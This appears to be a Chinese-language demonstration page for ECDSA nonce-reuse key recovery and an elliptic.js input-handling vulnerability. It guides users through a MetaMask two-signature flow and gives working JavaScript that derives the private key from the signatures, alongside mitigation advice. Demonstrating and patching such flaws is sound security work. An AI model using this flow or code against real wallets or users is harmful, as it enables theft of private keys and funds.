该工具用于演示ECDSA签名中的k值重用漏洞,以及最近发现的elliptic.js库的畸形输入处理漏洞。
ECDSA签名的安全性极度依赖随机数k的唯一性。如果相同的k值被用于签署不同的消息,攻击者可以从两个签名中恢复私钥。
最近发现的elliptic.js库漏洞(GHSA-vjh7-7g9h-fjfh)允许攻击者通过构造特定输入,在用户仅签名一次的情况下提取私钥。
1. 点击"连接钱包"按钮
2. 选择实现方式(字符串或BN)
3. 输入或选择一个交易哈希
4. 点击"测试漏洞"按钮
5. MetaMask将请求两次签名,请都确认
6. 观察结果以查看是否成功提取了私钥
- 升级到elliptic.js 6.6.1或更高版本
- 使用支持对冲签名的库
- 谨慎签署任何消息,特别是不信任的应用请求的签名
请选择下方的实现方式,输入交易哈希,然后点击相应的按钮进行测试。该演示将请求您签署两条不同的消息,并尝试从签名中提取私钥。
ECDSA签名算法中,每次签名都需要生成一个唯一的随机数k。如果两次签名使用了相同的k值,攻击者可以通过数学计算从这两个签名中提取私钥。
ECDSA签名过程:
k = rand() // 随机方式
k = combine(d, m) // 确定性方式,RFC 6979
R = G × k
r = R.x mod n
s = k^-1 ⋅ (m + d⋅r) mod n
sig = r || s
如果两个不同消息 m1 和 m2 使用相同的k值签名,生成签名 (r, s1) 和 (r, s2),攻击者可以:
s1 - s2 = (k^-1)⋅(m1 - m2) mod n
k = ((s1 - s2)^-1)⋅(m1 - m2) mod n
d = (r^-1)⋅(s1⋅k - m1) mod n
elliptic.js库的漏洞在于其处理输入时的缺陷。在处理转换为BN对象的过程中,不同的输入可能产生相同的nonce值,导致签名使用相同的k值。
// 漏洞代码: msg = this._truncateToN(new BN(msg, 16)); // ... var nonce = msg.toArray('be', bytes);
攻击者可以构造特殊的输入,使两个不同的消息在转换后生成相同的nonce,从而导致k复用,最终泄露私钥。
为了防止ECDSA签名中的k值重用漏洞,有以下几种方案:
签名类型 | 实现方式 | 安全特性 |
---|---|---|
随机签名 | k = rand() | 依赖随机数生成器的质量 |
确定性签名 | k = combine(d, m) | 容易受到故障攻击 |
对冲签名 | k = combine(d, m, rnd) | 同时防范随机数和故障攻击 |
推荐使用的安全库包括:
// 恢复私钥的数学过程
function extract(msg0, msg1, sig0, sig1, curve) {
const ec = new EC(curve);
const n = ec.curve.n;
// 检查输入是否是十六进制字符串
function isHexString(str) {
if (typeof str !== 'string') return false;
return /^[\-0-9a-fA-F]+$/.test(str);
}
// 从签名中提取r和s
const sig0Clean = sig0.startsWith('0x') ? sig0.substring(2) : sig0;
const sig1Clean = sig1.startsWith('0x') ? sig1.substring(2) : sig1;
const r = new BN(sig0Clean.substring(0, 64), 16);
const s0 = new BN(sig0Clean.substring(64, 128), 16);
const s1 = new BN(sig1Clean.substring(64, 128), 16);
// 转换消息为BN对象
const m0 = isHexString(msg0) ? new BN(msg0, 16) : new BN(msg0);
const m1 = isHexString(msg1) ? new BN(msg1, 16) : new BN(msg1);
// 计算差值
const s_diff = s1.sub(s0).umod(n);
const m_diff = m1.sub(m0).umod(n);
// 计算k值并恢复私钥
const k = m_diff.mul(s_diff.invm(n)).umod(n);
const r_inv = r.invm(n);
const d = s1.mul(k).sub(m1).mul(r_inv).umod(n);
return d.toString('hex');
}